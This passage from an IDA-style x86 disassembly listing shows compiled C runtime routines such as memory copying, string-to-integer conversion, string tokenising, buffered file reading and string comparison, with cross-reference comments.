		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_418440:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_418458:				; CODE XREF: sub_4182C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41848C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_418480:				; CODE XREF: sub_4182C0+1B1j
					; sub_4182C0+208j ...
		neg	ecx
		jmp	off_418550[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41848C:				; CODE XREF: sub_4182C0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4184A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4184A4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4184A4:				; CODE XREF: sub_4182C0+1D6j
					; DATA XREF: sub_4182C0+1DDr
		jmp	off_4185A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4184B7+1
; ---------------------------------------------------------------------------
		fadd	dword ptr [ecx+eax*2+41850000h]


loc_4184B7:				; DATA XREF: sub_4182C0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_418554
		dd offset loc_41855C
		dd offset loc_418564
		dd offset loc_41856C
		dd offset loc_418574
		dd offset loc_41857C
		dd offset loc_418584
off_418550	dd offset loc_418597	; DATA XREF: sub_4182C0+1C2r
; ---------------------------------------------------------------------------


loc_418554:				; DATA XREF: sub_4182C0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41855C:				; DATA XREF: sub_4182C0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_418564:				; DATA XREF: sub_4182C0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41856C:				; DATA XREF: sub_4182C0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_418574:				; DATA XREF: sub_4182C0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41857C:				; DATA XREF: sub_4182C0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_418584:				; DATA XREF: sub_4182C0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_418597:				; CODE XREF: sub_4182C0+1C2j
					; DATA XREF: sub_4182C0:off_418550o
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4185A0	dd offset loc_4185B0	; DATA XREF: sub_4182C0+1B7r
					; sub_4182C0:loc_4184A4r ...
		dd offset loc_4185B8
		dd offset loc_4185C8
		dd offset loc_4185DC
; ---------------------------------------------------------------------------


loc_4185B0:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185B8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185C8:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4185DC:				; CODE XREF: sub_4182C0+1B7j
					; sub_4182C0:loc_4184A4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4182C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185F5	proc near		; CODE XREF: sub_40473F+34p
					; sub_40473F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_4185F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_418603	proc near		; CODE XREF: sub_418670+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_48B69C
		call	sub_41D5A8
		mov	edx, dword_48B69C
		pop	ecx
		mov	ecx, dword_48B698
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_418662
		push	edx
		call	sub_41D5A8
		add	eax, 10h
		push	eax
		push	dword_48B69C
		call	sub_41944F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_418645
		retn
; ---------------------------------------------------------------------------


loc_418645:				; CODE XREF: sub_418603+3Fj
		mov	ecx, dword_48B698
		sub	ecx, dword_48B69C
		mov	dword_48B69C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_48B698, ecx


loc_418662:				; CODE XREF: sub_418603+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_48B698, 4
		retn
sub_418603	endp


; =============== S U B	R O U T	I N E =======================================



sub_418670	proc near		; CODE XREF: sub_40482C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_418603
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_418670	endp


; =============== S U B	R O U T	I N E =======================================



sub_418682	proc near		; DATA XREF: ___:00426018o
		push	80h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	dword_48B69C, eax
		jnz	short loc_4186A3
		push	18h
		call	sub_419CDA
		mov	eax, dword_48B69C
		pop	ecx


loc_4186A3:				; CODE XREF: sub_418682+12j
		and	dword ptr [eax], 0
		mov	eax, dword_48B69C
		mov	dword_48B698, eax
		retn
sub_418682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186B1	proc near		; CODE XREF: ___:00404AFFp
					; sub_4053D5+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 2610000h
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2810000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_48A00A
		jnz	short loc_418716
		mov	ax, [ebp+var_18]
		cmp	ax, word_48A008
		jnz	short loc_418716
		mov	ax, [ebp+var_1A]
		cmp	ax, word_48A006
		jnz	short loc_418716
		mov	ax, [ebp+var_1E]
		cmp	ax, word_48A002
		jnz	short loc_418716
		mov	ax, [ebp+var_20]
		cmp	ax, word_48A000
		jnz	short loc_418716
		mov	eax, dword_489FF8
		jmp	short loc_41875B
; ---------------------------------------------------------------------------


loc_418716:				; CODE XREF: sub_4186B1+28j
					; sub_4186B1+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2800000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418743
		cmp	eax, 2
		jnz	short loc_41873F
		cmp	[ebp+var_32], 0
		jz	short loc_41873F
		cmp	[ebp+var_24], 0
		jz	short loc_41873F
		push	1
		pop	eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------


loc_41873F:				; CODE XREF: sub_4186B1+7Aj
					; sub_4186B1+81j ...
		xor	eax, eax
		jmp	short loc_418746
; ---------------------------------------------------------------------------


loc_418743:				; CODE XREF: sub_4186B1+75j
		or	eax, 0FFFFFFFFh


loc_418746:				; CODE XREF: sub_4186B1+8Cj
					; sub_4186B1+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_48A000
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_489FF8, eax
		pop	esi


loc_41875B:				; CODE XREF: sub_4186B1+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41D609
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41878B
		mov	[ecx], eax

locret_41878B:				; CODE XREF: sub_4186B1+D6j
		leave
		retn
sub_4186B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418790	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_48A0A0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4187E3
		mov	al, 0FFh
		mov	edi, edi


loc_4187AC:				; CODE XREF: sub_418790+28j
					; sub_418790+48j
		or	al, al
		jz	short loc_4187DE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_4187AC
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_4187AC
		sbb	al, al
		sbb	al, 0FFh


loc_4187DE:				; CODE XREF: sub_418790+1Ej
		movsx	eax, al
		jmp	short loc_418817
; ---------------------------------------------------------------------------


loc_4187E3:				; CODE XREF: sub_418790+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_4187EC:				; CODE XREF: sub_418790+68j
					; sub_418790+80j
		or	al, al
		jz	short loc_418817
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_4187EC
		push	eax
		push	ebx
		call	sub_419101
		mov	ebx, eax
		add	esp, 4
		call	sub_419101
		add	esp, 4
		cmp	bl, al
		jz	short loc_4187EC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_418817:				; CODE XREF: sub_418790+51j
					; sub_418790+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418790	endp


; =============== S U B	R O U T	I N E =======================================



sub_41881C	proc near		; CODE XREF: ___:0041ACB7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_41881C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418833	proc near		; CODE XREF: sub_41881C+Ep
					; sub_418A3B+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41884B:				; CODE XREF: sub_418833+46j
		cmp	dword_4397AC, 1
		jle	short loc_418863
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418872
; ---------------------------------------------------------------------------


loc_418863:				; CODE XREF: sub_418833+1Fj
		mov	ecx, off_4395A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_418872:				; CODE XREF: sub_418833+2Ej
		test	eax, eax
		jz	short loc_41887B
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41884B
; ---------------------------------------------------------------------------


loc_41887B:				; CODE XREF: sub_418833+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_418889
		or	[ebp+arg_C], 2
		jmp	short loc_41888E
; ---------------------------------------------------------------------------


loc_418889:				; CODE XREF: sub_418833+4Ej
		cmp	bl, 2Bh
		jnz	short loc_418894


loc_41888E:				; CODE XREF: sub_418833+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_418894:				; CODE XREF: sub_418833+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_418A2B
		cmp	eax, 1
		jz	loc_418A2B
		cmp	eax, 24h
		jg	loc_418A2B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4188DC
		cmp	bl, 30h
		jz	short loc_4188C6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------


loc_4188C6:				; CODE XREF: sub_418833+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188D9
		cmp	al, 58h
		jz	short loc_4188D9
		mov	[ebp+arg_8], 8
		jmp	short loc_4188F8
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_418833+97j
					; sub_418833+9Bj
		mov	[ebp+arg_8], ecx


loc_4188DC:				; CODE XREF: sub_418833+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4188F8
		cmp	bl, 30h
		jnz	short loc_4188F8
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4188F0
		cmp	al, 58h
		jnz	short loc_4188F8


loc_4188F0:				; CODE XREF: sub_418833+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_4188F8:				; CODE XREF: sub_418833+91j
					; sub_418833+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_418908:				; CODE XREF: sub_418833+16Cj
		cmp	dword_4397AC, 1
		movzx	esi, bl
		jle	short loc_418920
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41892B
; ---------------------------------------------------------------------------


loc_418920:				; CODE XREF: sub_418833+DFj
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41892B:				; CODE XREF: sub_418833+EBj
		test	eax, eax
		jz	short loc_418937
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_418969
; ---------------------------------------------------------------------------


loc_418937:				; CODE XREF: sub_418833+FAj
		cmp	dword_4397AC, 1
		jle	short loc_41894B
		push	edi
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_418956
; ---------------------------------------------------------------------------


loc_41894B:				; CODE XREF: sub_418833+10Bj
		mov	eax, off_4395A0
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_418956:				; CODE XREF: sub_418833+116j
		test	eax, eax
		jz	short loc_4189A4
		movsx	eax, bl
		push	eax
		call	sub_41D6CB
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_418969:				; CODE XREF: sub_418833+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4189A4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41898E
		jnz	short loc_418988
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41898E


loc_418988:				; CODE XREF: sub_418833+147j
		or	[ebp+arg_C], 4
		jmp	short loc_418997
; ---------------------------------------------------------------------------


loc_41898E:				; CODE XREF: sub_418833+145j
					; sub_418833+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_418997:				; CODE XREF: sub_418833+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_418908
; ---------------------------------------------------------------------------


loc_4189A4:				; CODE XREF: sub_418833+125j
					; sub_418833+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_4189C2
		test	edx, edx
		jz	short loc_4189BC
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4189BC:				; CODE XREF: sub_418833+181j
		and	[ebp+var_8], 0
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------


loc_4189C2:				; CODE XREF: sub_418833+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_4189E8
		test	cl, 1
		jnz	short loc_418A0F
		and	ecx, 2
		jz	short loc_4189DF
		cmp	[ebp+var_8], 80000000h
		ja	short loc_4189E8


loc_4189DF:				; CODE XREF: sub_418833+1A1j
		test	ecx, ecx
		jnz	short loc_418A0F
		cmp	[ebp+var_8], eax
		jbe	short loc_418A0F


loc_4189E8:				; CODE XREF: sub_418833+197j
					; sub_418833+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_48A014, 22h
		jz	short loc_4189FE
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_418A0F
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_418833+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_418A0F:				; CODE XREF: sub_418833+18Dj
					; sub_418833+19Cj ...
		test	edx, edx
		jz	short loc_418A18
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_418A18:				; CODE XREF: sub_418833+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_418A26
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_418A26:				; CODE XREF: sub_418833+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_418A36
; ---------------------------------------------------------------------------


loc_418A2B:				; CODE XREF: sub_418833+66j
					; sub_418833+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_418A34
		mov	[eax], edi


loc_418A34:				; CODE XREF: sub_418833+1FDj
		xor	eax, eax


loc_418A36:				; CODE XREF: sub_418833+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418833	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A3B	proc near		; CODE XREF: sub_4053D5+4BDp
					; sub_40EE72+3773p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418833
		add	esp, 10h
		retn
sub_418A3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A52	proc near		; CODE XREF: sub_4053D5+266p
					; sub_4053D5+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_417AB0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D797
		add	esp, 10h
		leave
		retn
sub_418A52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A86	proc near		; CODE XREF: sub_405A58+4Ep
					; sub_406C19+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_418AAA
		xor	eax, eax
		jmp	loc_418B53
; ---------------------------------------------------------------------------


loc_418AAA:				; CODE XREF: sub_418A86+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418ABD
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------


loc_418ABD:				; CODE XREF: sub_418A86+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_418AC9
; ---------------------------------------------------------------------------


loc_418AC6:				; CODE XREF: sub_418A86+C4j
		mov	ecx, [ebp+arg_0]


loc_418AC9:				; CODE XREF: sub_418A86+35j
					; sub_418A86+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_418AFB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_418AFB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_418AE0
		mov	edi, eax


loc_418AE0:				; CODE XREF: sub_418A86+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_417390
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_418B46
; ---------------------------------------------------------------------------


loc_418AFB:				; CODE XREF: sub_418A86+49j
					; sub_418A86+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_418B2E
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_418B11
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_418B11:				; CODE XREF: sub_418A86+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418B58
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418B5E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_418B46
; ---------------------------------------------------------------------------


loc_418B2E:				; CODE XREF: sub_418A86+78j
		push	esi
		call	sub_41E248
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418B62
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_418B46:				; CODE XREF: sub_418A86+73j
					; sub_418A86+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_418AC6
		mov	eax, [ebp+arg_8]


loc_418B53:				; CODE XREF: sub_418A86+1Fj
					; sub_418A86+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B58:				; CODE XREF: sub_418A86+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_418B62
; ---------------------------------------------------------------------------


loc_418B5E:				; CODE XREF: sub_418A86+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_418B62:				; CODE XREF: sub_418A86+B2j
					; sub_418A86+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_418B53
sub_418A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B6E	proc near		; CODE XREF: sub_405AF2+2B2p
					; sub_4060D0+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_418B87:				; CODE XREF: sub_418B6E+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_418B87
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_418BAF
		mov	edx, dword_48A010


loc_418BAF:				; CODE XREF: sub_418B6E+39j
					; sub_418B6E+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_418BCF
		test	al, al
		jz	short loc_418BCF
		inc	edx
		jmp	short loc_418BAF
; ---------------------------------------------------------------------------


loc_418BCF:				; CODE XREF: sub_418B6E+58j
					; sub_418B6E+5Cj
		mov	ebx, edx


loc_418BD1:				; CODE XREF: sub_418B6E+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_418BF5
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_418BF1
		inc	edx
		jmp	short loc_418BD1
; ---------------------------------------------------------------------------


loc_418BF1:				; CODE XREF: sub_418B6E+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_418BF5:				; CODE XREF: sub_418B6E+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_48A010, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_418B6E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418C10	proc near		; CODE XREF: sub_406387+1B6p
					; sub_407252+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_418C93
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418C34
		shr	ecx, 2
		jnz	short loc_418CA1
		jmp	short loc_418C55
; ---------------------------------------------------------------------------


loc_418C34:				; CODE XREF: sub_418C10+1Bj
					; sub_418C10+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_418C62
		test	al, al
		jz	short loc_418C6A
		test	esi, 3
		jnz	short loc_418C34
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CA1


loc_418C50:				; CODE XREF: sub_418C10+8Fj
		and	ebx, 3
		jz	short loc_418C62


loc_418C55:				; CODE XREF: sub_418C10+22j
					; sub_418C10+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_418C8E
		dec	ebx
		jnz	short loc_418C55


loc_418C62:				; CODE XREF: sub_418C10+2Bj
					; sub_418C10+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418C6A:				; CODE XREF: sub_418C10+2Fj
		test	edi, 3
		jz	short loc_418C84


loc_418C72:				; CODE XREF: sub_418C10+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_418D06
		test	edi, 3
		jnz	short loc_418C72


loc_418C84:				; CODE XREF: sub_418C10+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CF7


loc_418C8B:				; CODE XREF: sub_418C10+7Fj
					; sub_418C10+F4j
		mov	[edi], al
		inc	edi


loc_418C8E:				; CODE XREF: sub_418C10+4Dj
		dec	ebx
		jnz	short loc_418C8B
		pop	ebx
		pop	esi


loc_418C93:				; CODE XREF: sub_418C10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


